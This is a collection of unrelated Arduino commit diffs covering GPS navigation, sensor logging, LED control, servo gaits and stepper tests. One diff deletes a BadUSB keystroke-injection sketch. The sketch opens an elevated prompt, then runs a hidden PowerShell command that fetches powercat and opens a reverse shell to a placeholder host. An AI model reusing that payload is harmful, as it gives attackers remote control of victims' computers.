-  gps.stats(&chars, &sentences, &failed);
-  Serial.print("Stats: characters: "); Serial.print(chars); Serial.print(" sentences: "); Serial.print(sentences); Serial.print(" failed checksum: "); Serial.println(failed);
-  if(buttonreaddone!=5){
-    buttonread();
-  }
-  if(buttonreaddone==5){
-distance();
-  }
-}
-
-bool feedgps()
-{
-  while (mySerial.available())
-  {
-    if (gps.encode(mySerial.read()))
-      return true;
-  }
-  return false;
-}
-//------------------------------below is the part of the code where everything is calculated
-void distance(){
-  if(waycont==1){
- x2lat = flat2;      // setting x2lat and x2lon equal to our first waypoint
- x2lon = flon2;
-  }
-  if(waycont==2){
-    x2lat = flat3;
-    x2lon = flon3;
-  }
-  if(waycont==3){
-    x2lat = flat4;
-    x2lon = flon4;
-  }
-  if(waycont==4){
-  x2lat = flat5;
-  x2lon = flon5;
-  }
-   if(waycont==5){
-  x2lat = flat6;
-  x2lon = flon6;
-  }
-    if(waycont==6){
-  x2lat = flat6;
-  x2lon = flon6;
-  }
-
-
- float flat1=flat;
- float flon1=flon;
-float dist_calc=0;
-float dist_calc2=0;
-float diflat=0;
-float diflon=0;
-
-//------------------------------------------ distance formula below. Calculates distance from current location to waypoint
-diflat=radians(x2lat-flat1);  //notice it must be done in radians
-flat1=radians(flat1);
-x2lat=radians(x2lat);
-diflon=radians((x2lon)-(flon1));
-
-dist_calc = (sin(diflat/2.0)*sin(diflat/2.0));
-dist_calc2= cos(flat1);
-dist_calc2*=cos(x2lat);
-dist_calc2*=sin(diflon/2.0);
-dist_calc2*=sin(diflon/2.0);
-dist_calc +=dist_calc2;
-
-dist_calc=(2*atan2(sqrt(dist_calc),sqrt(1.0-dist_calc)));
-
-dist_calc*=6371000.0; //Converting to meters
-Serial.println("distance");
-Serial.println(dist_calc);
-if(dist_calc<2){
-if(waycont==waypoints){
-  done();
-}
-waycont+=1;
-}
-//-----------------------------------------heading formula below. Calculates heading to the waypoint from the current locaiton
- flon1 = radians(flon1);  //also must be done in radians
- x2lon = radians(x2lon);
-
-heading = atan2(sin(x2lon-flon1)*cos(x2lat),cos(flat1)*sin(x2lat)-sin(flat1)*cos(x2lat)*cos(x2lon-flon1)),2*3.1415926535;
-heading = heading*180/3.1415926535;  // convert from radians to degrees
-int head =heading;
-if(head<0){
-  heading+=360;   //if the heading is negative then add 360 to make it positive
-}
-
-Serial.println("heading:");
-Serial.println(heading);
-//-------------------------------------------------------------
-
-int turn=0;
- Wire.beginTransmission(slaveAddress);        //the wire stuff is for the compass module
-  Wire.write("A");
-  Wire.endTransmission();
-  delay(10);
-  Wire.requestFrom(slaveAddress, 2);
-  i = 0;
-  while(Wire.available() && i < 2)
-  {
-    headingData[i] = Wire.read();
-    i++;
-  }
-  headingValue = headingData[0]*256 + headingData[1];
- int pracheading = headingValue / 10;      // this is the heading of the compass
- if(pracheading>0){
-   headinggps=pracheading;
- }
-Serial.println("current heaDING:");
-Serial.println(headinggps);
-x4=headinggps-heading;   //getting the difference of our current heading to our needed heading
-
-//Serial.println(absolute);
-
-int x5;
-
-//-------------------------------------- below tells us which way we need to turn
-if(x4>=-180){
-  if(x4<=0){
-    turn=8;    //set turn =8 which means "right"
-  }
-}
-if(x4<-180){
-  turn=5;      //set turn = 5 which means "left"
-}
-if(x4>=0){
-  if(x4<180){
-    turn=5;   //set turn = 5 which means "left"
-  }
-}
-if(x4>=180){     //set turn =8 which means "right"
-  turn=8;
-}
-//-----------------------------------------------------------------------------------------------------------------------------------
-//-----------------------------------------------------------------------------------------------------------------------------------
-//-------------------------------------------------------------real important turning stuff. DO NOT TOUCH!!!
-float hd = headinggps;
-if(hd==heading){
-    turn=3;   //then set turn = 3 meaning go "straight"
-
-}
-
-if(turn==3){
-
-  Serial.println("straight");
-//digitalWrite(mo1, LOW);               //go straight
-  //  digitalWrite(mo2, HIGH);
-   //  digitalWrite(mo3, LOW);
-     //   digitalWrite(mo4, LOW);
-
-
-}
-//-------------------------------------------------------------------------------------turn right
-if(turn==8){
-rightturn();
-
-}
-//------------------------------------------------------------------------------------------turn left
-
-if(turn==5){
-leftturn();
-}
-
-
-
- //-------------------------------------------------------------------------
-}
-
-
-
-void done(){
-
-  //digitalWrite(mo1, LOW);
-   // digitalWrite(mo2, LOW);
-    //  digitalWrite(mo3, LOW);
-     //   digitalWrite(mo4, LOW);
-      done();
-}
-//----------------------------------------------------------------------------------
-//---------------------------------------------------------------------------
-//------------------------------------------------------right turning
-void rightturn(){
-if(headinggps+2>heading){
-  if(headinggps-2<heading){
-     // digitalWrite(mo3, LOW);
-       // digitalWrite(mo4, LOW);
-    return;
-  }
-}
-      x4=headinggps-heading;
-if(x4<-180){
-return;
-}
-if(x4>=0){
-  if(x4<180){
-  return;
-  }
-}
-
-  //digitalWrite(mo1, LOW);
-    //digitalWrite(mo2, HIGH);
-      //digitalWrite(mo3, HIGH);
-        //digitalWrite(mo4, LOW);
-         Wire.beginTransmission(slaveAddress);        //the wire stuff is for the compass module
-  Wire.write("A");
-  Wire.endTransmission();
-  delay(10);
-  Wire.requestFrom(slaveAddress, 2);
-  i = 0;
-  while(Wire.available() && i < 2)
-  {
-    headingData[i] = Wire.read();
-    i++;
-  }
-  headingValue = headingData[0]*256 + headingData[1];
-headinggps = headingValue / 10;      // this is the heading of the compass
-rightturn();
-}
-
-//------------------------------------------------------------------------------
-//------------------------------------------------------------------
-//----------------------------------------------left turning
-void leftturn(){
-  if(headinggps+2>heading){
-  if(headinggps-2<heading){
-      //digitalWrite(mo3, LOW);
-        //digitalWrite(mo4, LOW);
-    return;
-  }
-}
-      x4=headinggps-heading;
-if(x4>=-180){
-  if(x4<=0){
-     return;
-  }
-}
-
-if(x4>=180){
-  return;
-}
-
-//digitalWrite(mo1, LOW);
-  //  digitalWrite(mo2, HIGH);
-    //  digitalWrite(mo3, LOW);
-      //  digitalWrite(mo4, HIGH);
-         Wire.beginTransmission(slaveAddress);        //the wire stuff is for the compass module
-  Wire.write("A");
-  Wire.endTransmission();
-  delay(10);
-  Wire.requestFrom(slaveAddress, 2);
-  i = 0;
-  while(Wire.available() && i < 2)
-  {
-    headingData[i] = Wire.read();
-    i++;
-  }
-  headingValue = headingData[0]*256 + headingData[1];
-headinggps = headingValue / 10;      // this is the heading of the compass
-leftturn();
-}
-
-
-void buttonread(){
-  int butval= analogRead(buttons);
-  if(butval<100){
-    buttonreaddone=5;
-     digitalWrite(led, HIGH);
-      delay(2000);
-      digitalWrite(led,LOW);
-      return;
-  }
-  if(butval>600){
-     if(waypoints==0){
-      flat2=flat;
-      flon2=flon;
-      waypoints+=1;
-      digitalWrite(led, HIGH);
-      delay(2000);
-      digitalWrite(led,LOW);
-      return;
-     }
-         if(waypoints==1){
-      flat3=flat;
-      flon3=flon;
-      waypoints+=1;
-      digitalWrite(led, HIGH);
-      delay(2000);
-      digitalWrite(led,LOW);
-      return;
-     }
-         if(waypoints==2){
-      flat4=flat;
-      flon4=flon;
-      waypoints+=1;
-      digitalWrite(led, HIGH);
-      delay(2000);
-      digitalWrite(led,LOW);
-      return;
-     }
-         if(waypoints==3){
-      flat5=flat;
-      flon5=flon;
-      waypoints+=1;
-      digitalWrite(led, HIGH);
-      delay(2000);
-      digitalWrite(led,LOW);
-      return;
-     }
-         if(waypoints==4){
-      flat6=flat;
-      flon6=flon;
-      waypoints+=1;
-      digitalWrite(led, HIGH);
-      delay(2000);
-      digitalWrite(led,LOW);
-      return;
-     }
-         if(waypoints==5){
-      flat7=flat;
-      flon7=flon;
-      waypoints+=1;
-      digitalWrite(led, HIGH);
-      delay(2000);
-      digitalWrite(led,LOW);
-      return;
-     }
-
-     }
-
-}


Flickering error messages were fixed

Flickering error messages were fixed

--- meteo/meteo.ino
+++ meteo/meteo.ino
@@ -1,7 +1,7 @@
 #include <dht.h>

 const long MODE_DURATION_IN_MILLIS = 2000; // temperature / humidity modes
-const long READ_DELAY_IN_MILLIS = 5000;
+const long READ_DELAY_IN_MILLIS = 4000;

 // LED display constants:
 const boolean COMMON_ANODE_LED = false; // true for LED with common anode, false for LED with common cathode.
@@ -41,6 +41,7 @@
 short digits[4];
 boolean decimalPoints[4];

+int errorCode = 0;
 int temperature = 0; // real temperature * 10
 int humidity = 0;    // real humidity * 10
 long startModeMillis;
@@ -249,10 +250,9 @@
   const long now = millis();
   if (now - lastReadingMillis > READ_DELAY_IN_MILLIS) {
     lastReadingMillis = now;
-    int errorCode = sensorDht.read22(DHT22_PIN);
+    errorCode = sensorDht.read22(DHT22_PIN);
     temperature = sensorDht.temperatureInt10;
     humidity = sensorDht.humidityInt10;
-    return errorCode;
   }

 // Temperature values' samples and result output:
@@ -263,7 +263,7 @@
 //  temperature = 0;
 //  humidity = 0;

-  return 0;
+    return errorCode;
 }

 void setErrorCode(int errorCode) {
@@ -271,6 +271,11 @@
   digits[1] = R_SYMBOL;
   digits[2] = R_SYMBOL;
   digits[3] = -errorCode % 10;
+
+  decimalPoints[0] = false;
+  decimalPoints[1] = false;
+  decimalPoints[2] = false;
+  decimalPoints[3] = false;
 }

 void setTemperature() {
@@ -380,6 +385,20 @@
   pinMode(SEGMENT_G_PIN, OUTPUT);
   pinMode(SEGMENT_DP_PIN, OUTPUT);

+  if (COMMON_ANODE_LED) {
+    // LED display with common anode:
+    DIGIT_OFF = 0;
+    DIGIT_ON = BRIGHTNESS;
+    SEGMENT_OFF = HIGH;
+    SEGMENT_ON = LOW;
+  } else {
+    // LED display with common cathode:
+    DIGIT_OFF = 255;
+    DIGIT_ON = 255 - BRIGHTNESS;
+    SEGMENT_OFF = LOW;
+    SEGMENT_ON = HIGH;
+  }
+
   analogWrite(DIGIT_1_PIN, DIGIT_OFF);
   analogWrite(DIGIT_2_PIN, DIGIT_OFF);
   analogWrite(DIGIT_3_PIN, DIGIT_OFF);
@@ -393,20 +412,6 @@
   digitalWrite(SEGMENT_G_PIN, SEGMENT_ON);
   digitalWrite(SEGMENT_DP_PIN, SEGMENT_ON);

-  if (COMMON_ANODE_LED) {
-    // LED display with common anode:
-    DIGIT_OFF = 0;
-    DIGIT_ON = BRIGHTNESS;
-    SEGMENT_OFF = HIGH;
-    SEGMENT_ON = LOW;
-  } else {
-    // LED display with common cathode:
-    DIGIT_OFF = 255;
-    DIGIT_ON = 255 - BRIGHTNESS;
-    SEGMENT_OFF = LOW;
-    SEGMENT_ON = HIGH;
-  }
-
   startModeMillis = millis();
   lastReadingMillis = startModeMillis;
   mode = TEMPERATURE;
@@ -414,7 +419,7 @@

 void loop() {
   // Read data from sensor
-  int errorCode = readData();
+  errorCode = readData();
   if (errorCode < 0) {
     // Fill digits array
     setErrorCode(errorCode);


Code cleanup & comments

Code cleanup & comments

--- SenseBox-Arduino-Sketch/SenseBox-Arduino-Sketch.ino
+++ SenseBox-Arduino-Sketch/SenseBox-Arduino-Sketch.ino
@@ -3,6 +3,7 @@
 #include <SPI.h>
 #include <SD.h>
 #include <Wire.h>
+#include "Barometer.h"
 #include "I2Cdev.h"
 #include "MPU9150.h"
 #include <Adafruit_Sensor.h>
@@ -13,8 +14,13 @@
 const int soundSensor = A0;

 //Light sensor variables
-Adafruit_TSL2591 tsl = Adafruit_TSL2591(2591); // pass in a number for the sensor identifier (for your use later)
+Adafruit_TSL2591 tsl = Adafruit_TSL2591(2591);
 uint16_t ir, full;
+
+//Barometer variables
+float pressure;
+float atm;
+Barometer myBarometer;

 //Accelerometer variables
 MPU9150 accelgyro;
@@ -31,7 +37,7 @@
 SoftwareSerial ss(2, 3);

 //Button variables
-const int buttonPin = 8;// the number of the pushbutton pin
+const int buttonPin = 8;
 int buttonState = 0;
 int lastButtonState = 0;
 int isOn;
@@ -50,19 +56,29 @@
   //Initialize Accelerometer
   accelgyro.initialize();
   TWBR = 12; // set 400kHz mode @ 16MHz CPU or 200kHz mode @ 8MHz CPU
-  //accelgyro.setFullScaleAccelRange(MPU9150_ACCEL_FS_16);
-  //ln(accelgyro.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed"));
+
+  /**
+  *  Most serial messages are commented out to save memory.
+  *  To debug the program, enable them again. Use F("string")
+  *  to store strings in flash memory. Around 390 bytes of
+  *  dynamic memory have to be available after compilation,
+  *  otherwise the SD card won't work.
+  **/
+
+  //Serial.println(accelgyro.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed"));

   delay(1000);

   // Initialize Light Sensor
-  //Init light sensor
   tsl.begin();
-  tsl.setGain(TSL2591_GAIN_HIGH);   // 428x gain
-  tsl.setTiming(TSL2591_INTEGRATIONTIME_100MS);  // shortest integration time (bright light)
+  tsl.setGain(TSL2591_GAIN_HIGH);     // 428x gain (will only work at low luminosity)
+  tsl.setTiming(TSL2591_INTEGRATIONTIME_100MS);  // shortest integration time
+
+  //Init barometer
+  myBarometer.init();

   // Initalize SD card:
-  //Serial.print("init sd card...");
+  //Serial.print("Initialize SD card...");

   if (!SD.begin(chipSelect)) {
     //Serial.println("Card failed, or not present");
@@ -76,19 +92,18 @@
   pinMode(soundSensor, INPUT);
   pinMode(buttonPin, INPUT);

-  //Serial.println(F(FreeRam()));
   dataFile = SD.open("test.csv", FILE_WRITE);

   // If the file opened okay, write to it:
   if (dataFile) {
-    //Serial.print("Writing to test.txt...");
-    dataFile.println("row,lat,lon,speed,timestamp,sound,luminosity,lux,ir,vibration");
-    // close the file:
+    //Serial.print("Writing header test.csv...");
+    dataFile.println("row,lat,lon,speed,timestamp,sound,luminosity,lux,ir,vibration,altitude");
+    // Close the file:
     dataFile.close();
     //Serial.println("done.");
   } else {
     // if the file didn't open, print an error:
-    Serial.println(F("error opening test.txt"));
+    Serial.println(F("Error opening test.csv"));
   }
 }

@@ -109,6 +124,8 @@
   }
   lastButtonState = buttonState;

+  // LED is OFF if data is being recorded.
+  // This is to avoid light from the LED influencing the light sensor.
   if (isOn == 1) {
     digitalWrite(LED, LOW);
     bool newData = false;
@@ -150,7 +167,7 @@

       // Serial.println("DATE & TIME:");

-      // print date
+      // Print date
       int year;
       byte month, day, hour, minute, second, hundredths;
       gps.crack_datetime(&year, &month, &day, &hour, &minute, &second, &hundredths, &age);
@@ -169,8 +186,6 @@
       // GPS reading done
       newData = false;

-      //Accel/Gyro
-
       //Light sensor
       uint32_t lum = tsl.getFullLuminosity();
       ir = lum >> 16;
@@ -195,12 +210,15 @@
         dataFile.print(seperator);
         dataFile.print(tsl.getLuminosity(TSL2591_VISIBLE));
         dataFile.print(seperator);
-        dataFile.print(tsl.calculateLux(full,ir));
+        dataFile.print(tsl.calculateLux(full, ir));
         dataFile.print(seperator);
         dataFile.print(ir);
         dataFile.print(seperator);
-        dataFile.println(((double) accelgyro.getAccelerationZ()/16384), 4);
-
+        dataFile.print(((double) accelgyro.getAccelerationZ() / 16384), 4);
+        dataFile.print(seperator);
+        dataFile.println(myBarometer.calcAltitude(myBarometer.bmp085GetPressure(myBarometer.bmp085ReadUP())));
+
+        //Serial.println(accelgyro.getAccelerationZ());
         // close the file:
         dataFile.close();


Delete Keyboard_git.ino

Delete Keyboard_git.ino

--- Keyboard_git.ino
+++ Keyboard_git.ino
@@ -1,38 +0,0 @@
-#include "DigiKeyboard.h"
-
-void setup() {
-  // don't need to set anything up to use DigiKeyboard
-}
-void loop() {
-  // this is generally not necessary but with some older systems it seems to
-  // prevent missing the first character after a delay:
-  DigiKeyboard.sendKeyStroke(0);
-  DigiKeyboard.delay(2000);
-
-  // start elevated prompt
-  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
-  DigiKeyboard.delay(1000);
-  DigiKeyboard.print("cmd");
-  DigiKeyboard.delay(1000);
-  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
-  DigiKeyboard.delay(1000);
-  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
-  DigiKeyboard.sendKeyStroke(KEY_ENTER);
-  // cmd with administrative privilege done
-
-  DigiKeyboard.delay(5000);
-
-  //Download powercat and setup reversed shell
-  DigiKeyboard.print("powershell -ExecutionPolicy Bypass -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c remote_ip -p remote_poort -u -e cmd");
-  DigiKeyboard.sendKeyStroke(KEY_ENTER);
-   DigiKeyboard.delay(500);
-  // reversed shell done
-  // turn on led when program finishes
-  digitalWrite(1, HIGH);
-  DigiKeyboard.delay(90000);
-  digitalWrite(1, LOW);
-  DigiKeyboard.delay(5000);
-  // second led on you can remove the badusb
-
-}
-


Added Inactive main menu option

Added Inactive main menu option

--- cyberbracer/cyberbracer/cyberbracer.ino
+++ cyberbracer/cyberbracer/cyberbracer.ino
@@ -106,6 +106,8 @@
 MenuItem setupDebugOn("Debug On", &mainMenuHandler);
 MenuItem setupDebugOff("Debug Off", &mainMenuHandler);

+MenuItem nullActivityMenuItem("Inactive", &mainMenuHandler);
+

 //// menu selection handlers
 void mainMenuHandler(MenuComponent* p_menu_component) {
@@ -113,6 +115,14 @@
   Serial.print(p_menu_component->get_name());
   Serial.println("] selected");

+  // Reset the neopixels
+  //for (int x = 0; x <= 9; x++) {
+  //  CircuitPlayground.setPixelColor(x, 0);
+  //}
+  CircuitPlayground.clearPixels();
+
+
+  // Change the current activity
   if (strcmp(p_menu_component->get_name(), "Light") == 0) {
     Serial.println("Setting to Light");
     currentActivity = &blinkActivity;
@@ -122,6 +132,9 @@
   } else if (strcmp(p_menu_component->get_name(), "SoundColorWheel") == 0) {
     Serial.println("Setting to SoundColorWheel");
     currentActivity = &soundColorWheelActivity;
+  } else if (strcmp(p_menu_component->get_name(), "Inactive") == 0) {
+    Serial.println("Setting to Inactive");
+    currentActivity = &nullActivity;
   } else {
     Serial.println("UNKNOWN ACTIVITY");
   }
@@ -152,6 +165,7 @@
   // Build the menus
   menuSystem.get_root_menu().add_menu(&mmSensorsMenu);
   menuSystem.get_root_menu().add_menu(&mmAnimMenu);
+  menuSystem.get_root_menu().add_item(&nullActivityMenuItem);
   menuSystem.get_root_menu().add_menu(&mmSetupMenu);

   mmSensorsMenu.add_item(&sensorLight);
@@ -239,7 +253,7 @@
   }

   currentActivity->getName();
-  if(currentActivity->isTimeToUpdate()) {
+  if (currentActivity->isTimeToUpdate()) {
     currentActivity->update();
     currentActivity->updated();
   }


Fixed bug in valid pair detection

Fixed bug in valid pair detection

--- module/module.ino
+++ module/module.ino
@@ -268,11 +268,15 @@
 	else if ( sum == upperBound ) {
 		return true;
 	}
+  // both are 5
+  else if ( sum == maximumValue - 1 ) {
+    return true;
+  }
 	// one is 5, one is 6
 	else if ( sum == maximumValue ) {
 		return true;
 	}
- // both are 12
+ // both are 6
   else if ( sum == maximumValue + 1 ) {
     return true;
   }


clean up

clean up

--- module/module.ino
+++ module/module.ino
@@ -166,7 +166,6 @@
 	int signals[] = { 0, 0, 0, 0, 0 };
   	int i, numValid, numInvalid = 0;

-	// Only here temporarily for debugging
 	if (debug) {
 		Serial.print(startTime); Serial.print(F(" ")); Serial.println(elapsedTime);
 	}


arduino: 10 ms update interval => 50 ms

arduino: 10 ms update interval => 50 ms

Because my phone couldn't handle it :(

--- arduino/arduino.ino
+++ arduino/arduino.ino
@@ -64,5 +64,5 @@
                 )
                 .c_str()
                 );
-        delay(10);
+        delay(50);
 }


Increading the pumping time (after correction elsewhere) to get around 100 drops

--- arduino/src/src.ino
+++ arduino/src/src.ino
@@ -103,7 +103,7 @@
       {
         digitalWrite(pumpPin, HIGH);
         Serial.println("Pumping");
-        delay(1000);
+        delay(2500);
         digitalWrite(pumpPin, LOW);
         Serial.println("Stop pumping");
         delay(2000);


Update Spinal_Cord.ino

Update Spinal_Cord.ino

--- Spinal_Cord/Spinal_Cord.ino
+++ Spinal_Cord/Spinal_Cord.ino
@@ -1,12 +1,6 @@
 #include <Servo.h>

 Servo SB, SF, HB, HF, EB, EF, KB, KF;
-String readString, amp, knee_amp, afreq, gait, phase, f_offset, b_offset, fk_offset, bk_offset;
-char pos[] = {0,1,2,3,4,5,6,7,8};
-
-unsigned long previousMillis = 0;
-unsigned int sine_time = 0.05;
-unsigned int t = 0;

 void setup(){
   //Start serial stream at 115200 baud
@@ -26,7 +20,12 @@
 }

 void loop(){
-  char c;
+  char c, buffer[10], pos[] = {0,1,2,3,4,5,6,7,8};
+  int iAmp, iF_offset, iB_offset, iFk_offset, iBk_offset;
+  float fKnee_amp, fAfreq, fPhase, fGait;
+  String readString, amp, knee_amp, afreq, gait, phase, f_offset, b_offset, fk_offset, bk_offset;
+  unsigned long previousMillis = 0;
+  unsigned int sine_time = 0.05, t = 0;

   while (Serial.available() && readString.length() < 38){
     //delay to allow buffer to fill
@@ -67,6 +66,30 @@
     Serial.print(fk_offset);
     Serial.println(bk_offset);
     */
+
+    iAmp = amp.toInt();
+
+    knee_amp.toCharArray(buffer, 10);
+    fKnee_amp = atof(buffer);
+    memset(buffer, 0, sizeof(buffer));
+
+    afreq.toCharArray(buffer, 10);
+    fAfreq = atof(buffer);
+    memset(buffer, 0, sizeof(buffer));
+
+    phase.toCharArray(buffer, 10);
+    fPhase = atof(buffer);
+    memset(buffer, 0, sizeof(buffer));
+
+    gait.toCharArray(buffer, 10);
+    fGait = atof(buffer);
+    memset(buffer, 0, sizeof(buffer));
+
+    iF_offset = f_offset.toInt();
+    iB_offset = b_offset.toInt();
+    iFk_offset = fk_offset.toInt();
+    iBk_offset = bk_offset.toInt();
+
     //clear strings
     readString="";
     amp="";
@@ -79,30 +102,6 @@
     fk_offset="";
     bk_offset="";
   }
-
-  int iAmp = amp.toInt();
-
-  char buffer[10];
-  knee_amp.toCharArray(buffer, 10);
-  float fKnee_amp = atof(buffer);
-  memset(buffer, 0, sizeof(buffer));
-
-  afreq.toCharArray(buffer, 10);
-  float fAfreq = atof(buffer);
-  memset(buffer, 0, sizeof(buffer));
-
-  phase.toCharArray(buffer, 10);
-  float fPhase = atof(buffer);
-  memset(buffer, 0, sizeof(buffer));
-
-  gait.toCharArray(buffer, 10);
-  float fGait = atof(buffer);
-  memset(buffer, 0, sizeof(buffer));
-
-  int iF_offset = f_offset.toInt();
-  int iB_offset = b_offset.toInt();
-  int iFk_offset = fk_offset.toInt();
-  int iBk_offset = bk_offset.toInt();

   //determine joint positions
   pos[0] = iAmp * sin(fAfreq*t) + 1500 + iF_offset;


Small change to EsploraLightCalibrator example

Chnaged LOW to HIGH

--- libraries/Esplora/examples/Beginners/EsploraLightCalibrator/EsploraLightCalibrator.ino
+++ libraries/Esplora/examples/Beginners/EsploraLightCalibrator/EsploraLightCalibrator.ino
@@ -32,7 +32,7 @@

 void loop() {
   // if switch 1 is pressed, go to the calibration function again:
-  if (Esplora.readButton(1) == LOW) {
+  if (Esplora.readButton(1) == HIGH) {
     calibrate();
   }
   // read the sensor into a variable:
@@ -64,7 +64,7 @@
   Serial.println("While holding switch 1, shine a light on the light sensor, then cover it.");

   // calibrate while switch 1 is pressed:
-  while(Esplora.readButton(1) == LOW) {
+  while(Esplora.readButton(1) == HIGH) {
     // read the sensor value:
     int light  = Esplora.readLightSensor();


Handle brightness changes immediately and swallow invalid commands early

This prevents us from rushting through the next fade only to realize the
command was invalid.

--- arduino/blinkytape_orb.ino
+++ arduino/blinkytape_orb.ino
@@ -27,6 +27,8 @@
 // state
 CRGB leds[NUM_LEDS];

+byte prev_command;
+byte command;
 bool initialized;

 uint8_t hue;
@@ -38,10 +40,46 @@
 uint8_t brightness;

+void checkSerial() {
+  if (Serial.available() > 0) {
+    command = Serial.read();
+  }
+
+  // handle brightness changes immediately
+  // if command was a brightness change or an invalid command,
+  // swallow it to prevent rushing through the next fade
+  switch (command) {
+    case 97:
+      brightness = BRIGHTNESS_MIN;
+      FastLED.setBrightness(brightness);
+      command = prev_command;
+      break;
+    case 98:
+      brightness = BRIGHTNESS_MED;
+      FastLED.setBrightness(brightness);
+      command = prev_command;
+      break;
+    case 99:
+      brightness = BRIGHTNESS_MAX;
+      FastLED.setBrightness(brightness);
+      command = prev_command;
+      break;
+    default:
+      if (command - 65 >= 24) { // swallow garbage values
+        command = prev_command;
+      }
+      break;
+  }
+}
+
 void fade(uint8_t new_val, long duration) {
   if (val == new_val) {
+    checkSerial();
+
     // setBrightness() requires a call to delay() periodically
+    // without this line, we can't change the brightness when we're not pulsing
     FastLED.delay(duration);
+
     return;
   }

@@ -76,8 +114,10 @@
     }
     FastLED.show();

-    // check to see if we've been given a new command, if so, hurry things along
-    if (Serial.available() > 0) {
+    // check to see if we've been given a new hue or pulse command
+    // if so, hurry things along
+    checkSerial();
+    if (command != prev_command) {
       FastLED.delay(change_delay_ms);
     } else {
       FastLED.delay(delay_ms);
@@ -93,6 +133,8 @@
   FastLED.addLeds<NEOPIXEL, DATA_PIN>(leds, NUM_LEDS);
   FastLED.setCorrection(LED_CORRECTION);

+  prev_command = 122; // initialize to invalid command so any valid command will trigger action
+  command = 122;
   initialized = false;

   val = PULSE_MAX_VAL;
@@ -123,72 +165,55 @@
     fade(PULSE_MIN_VAL, pulse_duration / 2);
   }

-  if (Serial.available() > 0) {
-    byte c = Serial.read();
-    c -= 65; // align to ASCII "A"
-    switch (c) {
-      case 32:
-        brightness = BRIGHTNESS_MIN;
-        FastLED.setBrightness(brightness);
-        break;
-      case 33:
-        brightness = BRIGHTNESS_MED;
-        FastLED.setBrightness(brightness);
-        break;
-      case 34:
-        brightness = BRIGHTNESS_MAX;
-        FastLED.setBrightness(brightness);
-        break;
-      default:
-        if (c < 24) { // filter out garbage values
-          fade(CHANGE_MIN_VAL, CHANGE_DURATION / 2);
-
-          switch (c & B00000011) {
-            case 0:
-              pulse = false;
-              pulse_duration = CHANGE_DURATION;
-              break;
-            case 1:
-              pulse = true;
-              pulse_duration = PULSE_DURATION_SLOW;
-              break;
-            case 2:
-              pulse = true;
-              pulse_duration = PULSE_DURATION_MED;
-              break;
-            case 3:
-              pulse = true;
-              pulse_duration = PULSE_DURATION_FAST;
-              break;
-          }
-
-          switch ((c & B00011100) >> 2) {
-            case 0:
-              hue = HUE_RED;
-              break;
-            case 1:
-              hue = HUE_ORANGE;
-              break;
-            case 2:
-              hue = HUE_YELLOW;
-              break;
-            case 3:
-              hue = HUE_GREEN;
-              break;
-            case 4:
-              hue = HUE_BLUE;
-              break;
-            case 5:
-              hue = HUE_PURPLE;
-              break;
-          }
-
-          initialized = true;
-
-          fade(PULSE_MIN_VAL, CHANGE_DURATION / 2);
-        }
-        break;
-    }
+  if (command != prev_command) {
+    fade(CHANGE_MIN_VAL, CHANGE_DURATION / 2);
+
+    prev_command = command;
+    initialized = true;
+
+    byte c = command - 65; // align to ASCII "A"
+
+    switch ((c & B00011100) >> 2) {
+      case 0:
+        hue = HUE_RED;
+        break;
+      case 1:
+        hue = HUE_ORANGE;
+        break;
+      case 2:
+        hue = HUE_YELLOW;
+        break;
+      case 3:
+        hue = HUE_GREEN;
+        break;
+      case 4:
+        hue = HUE_BLUE;
+        break;
+      case 5:
+        hue = HUE_PURPLE;
+        break;
+    }
+
+    switch (c & B00000011) {
+      case 0:
+        pulse = false;
+        pulse_duration = CHANGE_DURATION;
+        break;
+      case 1:
+        pulse = true;
+        pulse_duration = PULSE_DURATION_SLOW;
+        break;
+      case 2:
+        pulse = true;
+        pulse_duration = PULSE_DURATION_MED;
+        break;
+      case 3:
+        pulse = true;
+        pulse_duration = PULSE_DURATION_FAST;
+        break;
+    }
+
+    fade(PULSE_MIN_VAL, CHANGE_DURATION / 2);
   }

   fade(PULSE_MAX_VAL, pulse_duration / 2);


DRV8825 test microstep

DRV8825 test microstep

--- lab/Stepper_eval/Stepper_eval.ino
+++ lab/Stepper_eval/Stepper_eval.ino
@@ -1,25 +1,115 @@
-unsigned long tic;
-unsigned long toc;
+unsigned long tm;
+unsigned long tu;
+unsigned long blink_t;
+unsigned long step_t;
+
+//DRV8825 pins
+#define DRV8825_STEP 2
+#define DRV8825_MODE0 3
+#define DRV8825_MODE1 4
+#define DRV8825_MODE2 5
+#define DRV8825_ENABLE 6
+

 void setup() {
   Serial.begin(9600);
-  // initialize digital pin 13 as an output.
+
+  //DRV8825 pin config
   pinMode(13, OUTPUT);
+  pinMode(DRV8825_STEP, OUTPUT);
+  pinMode(DRV8825_MODE0, OUTPUT);
+  pinMode(DRV8825_MODE1, OUTPUT);
+  pinMode(DRV8825_MODE2, OUTPUT);
+  pinMode(DRV8825_ENABLE, OUTPUT);

-  tic = millis();
-  toc = millis();
+  digitalWrite(DRV8825_STEP, LOW);
+  digitalWrite(DRV8825_MODE0, LOW);
+  digitalWrite(DRV8825_MODE1, LOW);
+  digitalWrite(DRV8825_MODE2, LOW);
+  digitalWrite(DRV8825_ENABLE, LOW);
+
+  //Timer variables for steps
+  blink_t = millis();
+  step_t = micros();
+  tu = micros();
+  tm = millis();
 }

+
+uint16_t step_count = 0;
+uint8_t mode = 0;
+uint8_t mode_div = 1;
+uint16_t step_wait = 1000;
 void loop() {
-  toc = millis();
+  tm = millis();
+  tu = micros();

   if(Serial.available()) {
     Serial.write(Serial.read());
   }

+  //One revolution, then wait one cycle
+  if (tu - step_t > step_wait) {
+    //One fullstep lap (two toggles per step)
+    if (step_count > mode_div*400) {
+      digitalWrite(DRV8825_ENABLE, !digitalRead(DRV8825_ENABLE));
+      step_count = 0;

-  if (toc - tic > 1000) {
+      if (digitalRead(DRV8825_ENABLE) == LOW) {
+        //Change step mode
+        if (mode == 5) mode = 0;
+        else mode += 1;
+
+        if (mode == 0) {
+          digitalWrite(DRV8825_MODE0, LOW);
+          digitalWrite(DRV8825_MODE1, LOW);
+          digitalWrite(DRV8825_MODE2, LOW);
+          mode_div = 1;
+          step_wait = 1000;
+        } else if (mode == 1) {
